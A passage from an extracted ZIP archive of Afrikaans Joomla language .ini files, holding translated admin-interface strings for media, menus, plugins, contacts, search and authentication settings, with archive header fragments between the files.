bestuurder of hoër nie." COM_MEDIA_FIELD_CHECK_MIME_DESC="Gebruik MIME Magic of FileInfo om lêers te verifiëer. Probeer om dit sper as jy ongeldige MIME-tipe foute kry" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_DESC="Met die Flash oplaaier kan veelvoudige lêers op 'n slag oplaai. Dit mag dalk nie met jou instellings werk nie." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC=" Ekstensies (lêer tipes) wat jy toelaat is om op te laai (komma-afgesonderd)." COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC=" Beeld Ekstensies (lêer tipes) wat jy toegelaat is om op te laai (komma-afgesonderd). Hierdie word gebruik om vir geldige beeldlêer-kopstukke te toets." COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC="Die maksimum grootte vir oplaai (in mega-grepe). Gebruik zero vir geen beperking. Let op: Jou bediener sal wel 'n maksimum beperking hê." COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC="Tik hier die gidspad in vir die lêer-vouer t.o.v. die wortel-vouer" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie komponent toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die globale konfigurasie en die Ouer groep gebruik sal word.
              Gewyer beteken dat ongeag van die globale konfigurasie of Ouer groep instellings, die groep wat geredigeer word nie hierdie aksie op die komponent kan toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie komponent sal toepas (maar as dit in konflik met die globale konfigurasie of Ouer groep is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_MEDIA_DESCFTP="Om op te laai, wysig en skrap media lêers, Joomla! sal in meeste gevalle jou FTP rekening gegewens benodig. Tik hulle asseblief in die vorm velde hier onder." COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC="Beperk oplaaie na slegs beelde vir laer-as-bestuurder-gebruikers indien 'Fileinfo' of 'MIME-Magic' nie geïnstaleer is nie." COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC="Tik in die gidspad van die beeldvouer relatief t.o.v. die wortel." ; Moet nog vertaal word.. COM_MEDIA_FOLDERS_PATH_LABEL="Changing the default 'path to files folder' to another folder than default 'images' may break your links.
              The 'path to images' folder has to be the same or to a subfolder of 'path to files'." PK@y>\>$$/language/af-ZA/af-ZA.plg_search_content.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_search_content.sys.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_CONTENT="Soektog - Inhoud" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Ontsper soektog deur Artikels" PK@y>\ So !language/af-ZA/af-ZA.mod_feed.ininuW+A; $Id: af-ZA.mod_feed.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_FEED="mod_feed" MOD_FEED_FIELD_WORDCOUNT_LABEL="Woord Telling" MOD_FEED_FIELD_ITEMS_LABEL="Items" MOD_FEED_FIELD_IMAGE_LABEL="Afvoer beeld" MOD_FEED_FIELD_RTL_LABEL="RTL afvoer" MOD_FEED_FIELD_RSSURL_LABEL="Afvoer URL" MOD_FEED_FIELD_RSSTITLE_LABEL="Afvoer Titel" MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Item Beskrywing" MOD_FEED_FIELD_RSSTITLE_DESC="Vertoon news afvoer titel" MOD_FEED_FIELD_DESCRIPTION_LABEL="Afvoer Beskrywing" MOD_FEED_FIELD_RTL_DESC="Vertoon afvoer in Regs-na-Links rigting" MOD_FEED_FIELD_DESCRIPTION_LABEL="Afvoer Beskrywing" MOD_FEED_ERR_NO_URL="Geen afvoer URL spesifiseer nie." MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Item Beskrywing" MOD_FEED_FIELD_RSSTITLE_DESC="Vertoon nuus afvoer titel" MOD_FEED_ERR_CACHE="Maak asseblief kas lêergids skryfbaar" MOD_FEED_XML_DESCRIPTION="Hierdie module vertoon 'n sindikeerde afvoer" MOD_FEED_FIELD_RSSURL_DESC="Tik die URL van die RSS/RDF afvoer" MOD_FEED_FIELD_IMAGE_DESC="Vertoon die beeld wat met die Nuusafvoer geassosiëer is" MOD_FEED_FIELD_DESCRIPTION_DESC="Vertoon die beskrywingsteks vir die gehele afvoer" MOD_FEED_FIELD_ITEMS_DESC="Tik in die aantal RSS items om te vertoon" MOD_FEED_FIELD_ITEMDESCRIPTION_DESC="Vertoon die beskrywing of die Intro-teks van individuele RSS Items" MOD_FEED_FIELD_WORDCOUNT_DESC="Laat jou toe om die hoeveelheid Itembeskrywings-teks wat vertoon word, te beperk. 0 sal alle teks vertoon" PK@y>\^9kVV(language/af-ZA/af-ZA.com_contact.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_contact.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CONTACT="Kontakte" COM_CONTACT_CATEGORIES="Kategorië" COM_CONTACT_XML_DESCRIPTION="Hierdie komponent vertoon 'n lys van Kontak Inligting" COM_CONTACT_CONTACTS="Kontakte" COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION="Verstek" COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION="Verstek" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION="Verstek" COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE="Enkele Kontak" COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE="Hooftrek-Kontakte" COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE="Lys Kontakte in 'n Kategorie" COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION="Verstek" COM_CONTACT_CATEGORY_ADD_TITLE="Kategorie Bestuurder: Voeg 'n Nuwe Kontak Kategorie" COM_CONTACT_CATEGORY_EDIT_TITLE="Kategorie Bestuurder: Redigeer 'n Kontak Kategorie" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Vertoon 'n lys van kontak-kategorië binne-in 'n kategorie." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE="Lys alle Kontak Kategorië" COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="Hierdie aansig lys die kontakte in 'n kategorie." COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="Hierdie skakel na die kontak inligting vir 'n kontak." COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC="Hierdie aansig lys die glans-kontakte." PK@y>\X'language/af-ZA/af-ZA.com_search.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_search.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_SEARCH="Soektog" COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION="Verstek" COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE="Lys Soektog Resultate" COM_SEARCH_XML_DESCRIPTION="Komponent vir soek funksies" COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC="Vertoon soek resultate." PK@y>\aX'language/af-ZA/af-ZA.com_cpanel.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_cpanel.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CPANEL="Beheer Paneel" COM_CPANEL_XML_DESCRIPTION="Beheer Paneel komponent" PK@y>\U^0||/language/af-ZA/af-ZA.plg_content_loadmodule.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_content_loadmodule.ini 1704 2012-02-04 14:56:06Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word ; Die volgende moet so bly - dit is 'n sleutelwoord vir die plugin: PLG_CONTENT_LOADMODULE="Inhoud - Laai Modules" PLG_LOADMODULE_FIELD_STYLE_LABEL="Styl" PLG_LOADMODULE_XML_DESCRIPTION="Stel Module posisie binnein inhoud self. Sintaks: {loadposition user1}. Om Modules volgens naam te stel, gebruik die sintaks: {loadmodule mod_login}. Jy kan ook die module styl en module titel stel." PLG_LOADMODULE_FIELD_STYLE_DESC="Kode wat Modules sal Omvou" PLG_LOADMODULE_FIELD_VALUE_DIVS="Omgevou deur Divs" PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL="Omgevou deur tabel (horisontaal)" PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS="Omgevou deur veelvoudige Divs" PLG_LOADMODULE_FIELD_VALUE_RAW="Geen omvouing nie (rou afvoer)" PLG_LOADMODULE_FIELD_VALUE_TABLE="Omgevou deur tabel (kolom)" PK@y>\͡Y  (language/af-ZA/af-ZA.com_modules.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_modules.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MODULES="Module Bestuurder" COM_MODULES_XML_DESCRIPTION="Komponent vir module-bestuur op die agterent." PK@y>\O?1language/af-ZA/af-ZA.plg_authentication_gmail.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_authentication_gmail.ini 1781 2012-06-15 11:02:00Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_AUTHENTICATION_GMAIL="Bekragtiging - GMail" PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL="Gebruiker Swartlist" PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL="Pas Gebruikernaam Suffix toe" PLG_GMAIL_FIELD_SUFFIX_LABEL="Gebruikernaam Suffix" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS="Gebruik altyd suffix" PLG_GMAIL_XML_DESCRIPTION="Hanteer Gebruiker-stawing vir 'n GMail of Googlemail rekening (Benodig cURL)
              Waakskuwing! Jy moet ten minste een stawing inprop-program ontsper, anders verloor jy alle toegang na jou werf." PLG_GMAIL_FIELD_VERIFYPEER_DESC="Verifiëer die Gelyke se verbinding met 'n CA sertifikaat. In sekere gevalle sal stawing faal weens sertifikaats-probleme en deur dit te sper sal die probleem opgelos word." PLG_GMAIL_FIELD_VERIFYPEER_LABEL="Verifiëer Gelyke" PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX="Moenie Suffiks aanlas nie" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING="Suffiks ontbreek" PLG_GMAIL_FIELD_USER_BLACKLIST_DESC="'n Lys van gebruikername wat nie toegelaat is om via die GMail inprop-program in te log nie. Die gebruikername moet met komma's van mekaar afgesonder word" PLG_GMAIL_FIELD_SUFFIX_DESC="'n Suffiks om vir die gebruikernaam te gebruik, tipies is dit gmail.com (of googlemail.com), maar jy kan 'n Google Apps vir jou domein-suffiks gebruik. Dit sluit nie die @-simbool in nie. Indien leeg gelaat is, sal die gebruikernaam-suffiks geignoreer word" ; Moet nog vertaal word.. PLG_GMAIL_FIELD_APPLYSUFFIX_DESC="Options for applying the suffix: Don't apply the suffix, only apply the suffix if missing (any user supplied suffix will be used) or always apply the suffix replacing any user supplied suffix" PK@y>\0c9QQ3language/af-ZA/af-ZA.plg_editors_codemirror.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors_codemirror.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CODEMIRROR_XML_DESCRIPTION="Hierdie inprop-program laai die CodeMirror redigeerder." PLG_EDITORS_CODEMIRROR="Redigeerder - CodeMirror" PK@y>\t=bYY)language/af-ZA/af-ZA.plg_content_vote.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_content_vote.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_VOTE="Inhoud - Stem" PLG_VOTE_USER_RATING="Gebruiker Beoordeeling" PLG_VOTE_BEST="Beste" PLG_VOTE_POOR="Swak" PLG_VOTE_RATE="Beoordeel" PLG_VOTE_VOTE="Stem %s" PLG_VOTE_XML_DESCRIPTION="Voeg Stem funksie by Artikels by" PK@y>\eGG,language/af-ZA/af-ZA.plg_finder_weblinks.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_weblinks.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_QUERY_FILTER_BRANCH_P_WEB_LINK="Web skakels" PLG_FINDER_QUERY_FILTER_BRANCH_S_WEB_LINK="Web skakel" PLG_FINDER_WEBLINKS="Slim Soek - Webskakels" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Webskakels." PK@y>\Od %%1language/af-ZA/af-ZA.plg_editors-xtd_readmore.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_editors-xtd_readmore.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_READMORE_BUTTON_READMORE="Lees Verder" PLG_EDITORS-XTD_READMORE="Knoppie - Lees Verder" PLG_READMORE_ALREADY_EXISTS="Daar is reeds 'n Lees verder... skakel. Slegs een skakel van hierdie aard is per artikel toegelaat. Gebruik die {pagebreak}-skakel om die bladsy verder te verdeel." PLG_READMORE_XML_DESCRIPTION="Ontsper 'n knoppie waardeur jy 'n Lees verder...-skakel in 'n Artikel kan invoeg." PK@y>\%o!language/af-ZA/af-ZA.mod_menu.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_menu.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_MENU="mod_menu" MOD_MENU_HELP_SHOP="Joomla! Winkel" MOD_MENU_HELP_TRANSLATIONS="Joomla! Vertalings" MOD_MENU_MASS_MAIL_USERS="Massapos Gebruikers" MOD_MENU_MEDIA_MANAGER="Media Bestuurder" MOD_MENU_MENU_MANAGER="Menu Bestuurder" MOD_MENU_MENU_MANAGER_NEW_MENU="Voeg Nuwe Menu" MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM="Voeg Nuwe Menu Item" MOD_MENU_NEW_PRIVATE_MESSAGE="Nuwe Private Boodskap" MOD_MENU_PURGE_EXPIRED_CACHE="Purgeer Verstreke Kas" MOD_MENU_READ_PRIVATE_MESSAGES="Lees Private Boodskappe" MOD_MENU_SITE="Webwerf" MOD_MENU_TOOLS="Gereedskap" MOD_MENU_USER_PROFILE="My Profiel" MOD_MENU_XML_DESCRIPTION="Hierdie module vertoon die hoof admin navigasie module" MOD_MENU_CLEAR_CACHE="Herstel Kas" MOD_MENU_COM_CONTENT_ARTICLE_MANAGER="Artikel Bestuurder" MOD_MENU_COM_CONTENT_CATEGORY_MANAGER="Kategorie Bestuurder" MOD_MENU_COM_CONTENT="Inhoud" MOD_MENU_COM_USERS="Gebruikers" MOD_MENU_COM_USERS_GROUPS="Groepe" MOD_MENU_COM_USERS_LEVELS="Toegangsvlakke" MOD_MENU_COM_USERS_USER_MANAGER="Gebruiker Bestuurder" MOD_MENU_COM_USERS_USERS="Gebruikers" MOD_MENU_FIELD_SHOWHELP="Hulp Menu" MOD_MENU_HELP="Hulp" MOD_MENU_HELP_JOOMLA="Joomla! Hulp" MOD_MENU_HELP_SECURITY="Sekuriteits Sentrum" MOD_MENU_CONTROL_PANEL="Beheer Paneel" MOD_MENU_GLOBAL_CHECKIN="Globale Inteken" MOD_MENU_COM_CONTENT_FEATURED="Hooftrekke Artikels" MOD_MENU_COM_CONTENT_NEW_CATEGORY="Voeg Nuwe Kategorie" MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER="Taal Bestuurder" MOD_MENU_EXTENSIONS_MODULE_MANAGER="Module Bestuurder" MOD_MENU_HELP_COMMUNITY="Gemeenskap Portaal" MOD_MENU_HELP_RESOURCES="Joomla! Bronne" MOD_MENU_COM_USERS_ADD_GROUP="Voeg Nuwe Groep" MOD_MENU_HELP_DOCUMENTATION="Dokumentasie Wiki" MOD_MENU_HELP_CURRENT="Hulp met hierdie bladsy" MOD_MENU_HELP_COMMUNITY="Gemeenskaps Portaal" MOD_MENU_COM_USERS_ADD_GROUP="Voeg Nuwe Groep by" MOD_MENU_HELP_CURRENT="Hulp met hierdie bladsy" MOD_MENU_HELP_DEVELOPER="Developer Bronne" MOD_MENU_HELP_LINKS="Nuttige Joomla! skakels" MOD_MENU_COM_USERS_ADD_USER="Voeg Nuwe Gebruiker" MOD_MENU_HELP_DOCUMENTATION="Dokumentasie Wiki" MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER="Templet Bestuurder" MOD_MENU_COM_USERS_ADD_LEVEL="Voeg Nuwe Toegang Vlak" MOD_MENU_COM_CONTENT_NEW_ARTICLE="Voeg Nuwe Artikel" MOD_MENU_EXTENSIONS_EXTENSION_MANAGER="Ekstensie Bestuurder" MOD_MENU_EXTENSIONS_PLUGIN_MANAGER="Inprop-Program Bestuurder" MOD_MENU_COMPONENTS="Komponente" MOD_MENU_MENUS="Menus" MOD_MENU_SYSTEM_INFORMATION="Stelsel Inligting" MOD_MENU_LOGOUT="Uitteken" MOD_MENU_HELP_EXTENSIONS="Joomla! Ekstensies" MOD_MENU_CONFIGURATION="Globale Konfigurasie" MOD_MENU_EXTENSIONS_EXTENSIONS="Ekstensies" MOD_MENU_MAINTENANCE="Onderhoud" MOD_MENU_HOME_DEFAULT="Tuiste" MOD_MENU_HOME_MULTIPLE="Waarskuwing! Veelvoudige Tuistes!" MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM="Amptelike Ondersteuning Forum" MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM="Amptelike [taal] Forum" MOD_MENU_COM_USERS_NOTE_CATEGORIES="Gebruiker Nota Kategorië" MOD_MENU_COM_USERS_ADD_NOTE="Voeg Gebruiker Nota by" MOD_MENU_COM_USERS_NOTES="Gebruiker Notas" MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE="" MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM="Pasgemaakte Ondersteunings Forum" MOD_MENU_FIELD_SHOWNEW_DESC="Vertoon of versteek verskeie 'Voeg Nuwe...'-kortknippe vir gebruikers, groepe, toegangsvlakke, artikels en kategorië." MOD_MENU_FIELD_SHOWNEW="Nuwe Kortknippe Byvoeg" MOD_MENU_FIELD_SHOWHELP_DESC="Vertoon of versteek die Hulp-menu wat skakels na verskeie joomla.org werwe in sluit, wat nuttig vir gebruikers kan wees." MOD_MENU_FIELD_FORUMURL_LABEL="Pasgemaakte Ondersteunings Forum" MOD_MENU_FIELD_FORUMURL_DESC="Jy mag hier die URL na 'n forum wat anders as die verstek ene is, invoer." PK@y>\5language/af-ZA/af-ZA.plg_authentication_gmail.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_authentication_gmail.sys.ini 1709 2012-02-05 13:15:54Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_AUTHENTICATION_GMAIL="Bekragtiging - GMail" PLG_GMAIL_XML_DESCRIPTION="Hanteer Gebruiker-stawing vir 'n GMail of Googlemail rekening (Benodig cURL)
              Waakskuwing! Jy moet ten minste een stawing inprop-program ontsper, anders verloor jy alle toegang na jou werf." PK@y>\1Θ $language/af-ZA/af-ZA.com_plugins.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_plugins.ini 1697 2012-01-21 17:00:04Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_PLUGINS_BASIC_FIELDSET_LABEL="Basiese Opsies" COM_PLUGINS_CONFIGURATION="Inprop-Program Bestuurder Opsies" COM_PLUGINS_ELEMENT_HEADING="Element" COM_PLUGINS_FIELD_NAME_LABEL="Inprop-Program Naam" COM_PLUGINS_FOLDER_HEADING="Tipe" COM_PLUGINS_MANAGER_PLUGINS="Inprop-Program Bestuurder: Inprop-Programme" COM_PLUGINS_NAME_HEADING="Inprop-Program Naam" COM_PLUGINS="Inprop-Program Bestuurder" COM_PLUGINS_FIELD_FOLDER_LABEL="Inprop-Program Tipe" COM_PLUGINS_NO_ITEM_SELECTED="Geen inprop-programme gekies nie" COM_PLUGINS_SAVE_SUCCESS="Inprop-Program suksesvol gestoor" COM_PLUGINS_FIELD_ELEMENT_LABEL="Inprop-Program Lêer" COM_PLUGINS_N_ITEMS_UNPUBLISHED_1="Inprop-Program suksesvol gesper" COM_PLUGINS_N_ITEMS_CHECKED_IN_1="%d inprop-program suksesvol ingeteken" COM_PLUGINS_ADVANCED_FIELDSET_LABEL="Gevorderde Opsies" COM_PLUGINS_XML_ERR="Inprop-Program XML data nie beskikbaar nie" COM_PLUGINS_FIELD_ELEMENT_DESC="Inprop-Program vouer en hoof lêer naam" COM_PLUGINS_XML_DESCRIPTION="Hierdie komponent bestuur Joomla! inprop-programme" COM_PLUGINS_ERROR_FILE_NOT_FOUND="Die lêer %s kon nie gevind word nie." COM_PLUGINS_N_ITEMS_PUBLISHED_1="Inprop-Program suksesvol ontsper" COM_PLUGINS_FIELD_NAME_DESC="Die naam van die inprop-program volgens sy XML" COM_PLUGINS_N_ITEMS_CHECKED_IN_0="Geen inprop-programme is suksesvol ingeteken nie" COM_PLUGINS_OPTION_FOLDER="- Kies Tipe -" COM_PLUGINS_N_ITEMS_PUBLISHED="%d Inprop-Programme suksesvol ontsper" COM_PLUGINS_N_ITEMS_UNPUBLISHED="%d Inprop-Programme suksesvol gesper" COM_PLUGINS_N_ITEMS_CHECKED_IN_MORE="%d Inprop-Programme suksesvol ingeteken" COM_PLUGINS_MANAGER_PLUGIN="Inprop-Program Bestuurder: %s" COM_PLUGINS_FIELD_ENABLED_DESC="Die ontsper staat van hierdie inprop-program" JLIB_HTML_PUBLISH_ITEM="Ontsper inprop-program" JLIB_HTML_UNPUBLISH_ITEM="Sper inprop-program" COM_PLUGINS_SEARCH_IN_TITLE="Soek in inprop-program titel." COM_PLUGINS_FIELD_FOLDER_DESC="Kategorie/vouer van inprop-programme waaraan hierdie inprop-program behoort." COM_PLUGINS_MSG_MANAGE_NO_PLUGINS="Daar is nie enige inprop-programme geïnstalleer wat met jou navraag ooreenstem nie" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." PK@y>\uu(language/af-ZA/af-ZA.mod_toolbar.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_toolbar.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_TOOLBAR_LAYOUT_DEFAULT="Verstek" MOD_TOOLBAR="Nutsbalk" MOD_TOOLBAR_XML_DESCRIPTION="Hierdie Module vertoon die nutsbalk ikone wat gebruik work aksies in die administrator area te beheer." PK@y>\{| 2language/af-ZA/af-ZA.plg_system_languagefilter.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_languagefilter.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_LANGUAGEFILTER="Stelsel - Taal Filter" PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE="Webwerf Taal" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC="Hierdie opsie sal outomaties die inhoud taal op die voorkant verander wanneer 'n gebruiker die werftaal verander" PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL="Taal Keuse vir nuwe Besoekers." PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL="Outomatiese Taal Verandering" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_LABEL="Menu assosiasies" PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS="Webblaaier Instellings" PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL="Verwyder URL Taalkode" PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL="Voeg alternatiewe meta-etikette by" PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC="Voeg alternatiewe meta-etikette by vir menu items wat met ander tale geassosieer is." 